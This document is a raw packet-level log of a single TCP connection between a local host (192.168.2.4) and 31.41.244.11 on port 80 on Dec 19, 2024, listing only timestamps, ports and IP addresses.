Dec 19, 2024 14:10:32.848330975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.848422050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.848608971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.848676920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.848681927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.848728895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.849217892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.849273920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.849404097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.849452019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.849966049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.850023985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.850434065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.850487947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.850521088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.850570917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.851063967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.851121902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.851155043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.851202011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.851727009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.851774931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.851798058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.852066040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.852507114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.852777958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.887439013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.887502909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.887514114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.887562037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.887583017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.887619019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.887638092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.887658119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.888350964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.888402939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.888479948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.888557911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.889158964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.889228106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.889295101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.889940977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.889992952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.890012980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.890053034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.890830994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.890893936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.890985966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.891045094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.891757965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.891813993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.891844988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.891900063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.892855883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.892908096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.892930984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.892950058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.893393993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.893465042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.893493891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.893549919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.894093037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.894192934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.894237041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.894335985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.894931078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.895050049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.895107985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.895796061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.895863056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.895905018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.895967007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.896627903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.896729946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.896735907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.896770000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.897454977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.897572994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.897638083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.898308992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.898418903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.898432970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.898480892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.899139881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.899198055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.899260998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.899319887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.899988890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.900046110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.900082111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.900135994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.900866985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.901042938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.901106119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.901655912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.901743889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.901779890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.901843071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.902514935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.902597904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.902604103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.902986050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.903347015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.903398991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.903450012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.903506041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.904239893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.904294968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.904385090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.904450893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.905088902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.905167103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.905180931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.905224085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.905922890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.906039953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.906100988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.906737089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.906806946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.906856060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.906905890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.907584906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.907650948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.907677889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.907732964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.908442020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.908505917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.908567905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.909255028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.909352064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.909441948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.909497976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.910145044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.910191059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.910258055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.910306931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.910887003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.910931110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.910970926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.911020994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.911725044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.911773920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.911842108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.911909103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.912652969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.912688017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.912704945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.912728071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.913510084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.913568020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.913568974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.913929939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.914264917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.914315939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.914424896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.915066957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.915122032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.915183067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.915234089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.916018963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.916075945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.916135073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.916183949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.916775942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.916831017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.916909933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.916959047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.917650938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.917701006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.917702913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.917747021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.918512106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.918567896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.918627977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.918678045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.919352055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.919404030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.919409037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.919574976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.920120001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.920252085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.920285940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.920334101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.921035051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.921122074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.921133995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.921168089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.921868086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.921921015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.921962976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.922034979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.922766924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.922816992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.922877073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.922931910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.923557997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.923615932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.923661947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.923712015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.924351931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.924408913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.924465895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.924511909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.925162077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.925215006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.925288916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.925338984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.039884090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.040076971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.040244102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.040343046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.040417910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.040462017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.040550947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.040968895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.041030884 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.041070938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.041160107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.041872978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.041941881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.041945934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.042021990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.042362928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.042423964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.042468071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.042562962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.043581009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.043653011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.043709993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.043858051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.043901920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.043948889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.044543982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.044677019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.044756889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.045115948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.045175076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.079731941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.079827070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.079981089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.080131054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.080199003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.080224037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.080322027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.081026077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.081087112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.081130028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.081186056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.081825018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.081902027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.081960917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.082017899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.082686901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.082748890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.082823992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.082865953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.083679914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.083733082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.083736897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.083807945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.084384918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.084446907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.084482908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.084541082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.085262060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.085371017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.085374117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.085421085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.086023092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.086090088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.086134911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.086229086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.086843967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.086896896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.086921930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.086951017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.087737083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.087805033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.087820053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.087873936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.088555098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.088654041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.088677883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.088697910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.089355946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.089411974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.089595079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.089726925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.090225935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.090296030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.090372086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.090430021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.091207027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.091262102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.091305971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.091372013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.092144966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.092192888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.092252970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.092309952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.092819929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.092840910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.092895985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.093583107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.093647957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.093709946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.093854904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.094419956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.094480991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.094542027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.094624043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.095372915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.095424891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.095457077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.095470905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.096112013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.096183062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.096240044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.096292973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.097099066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.097225904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.097243071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.097281933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.098261118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.098349094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.098476887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.098550081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.099148989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.099289894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.099356890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.099910021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.099999905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.100044966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.100569010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.100719929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.100805044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.101452112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.101509094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.101557016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.101617098 CET	49800	80	192.168.2.4	31.41.244.11
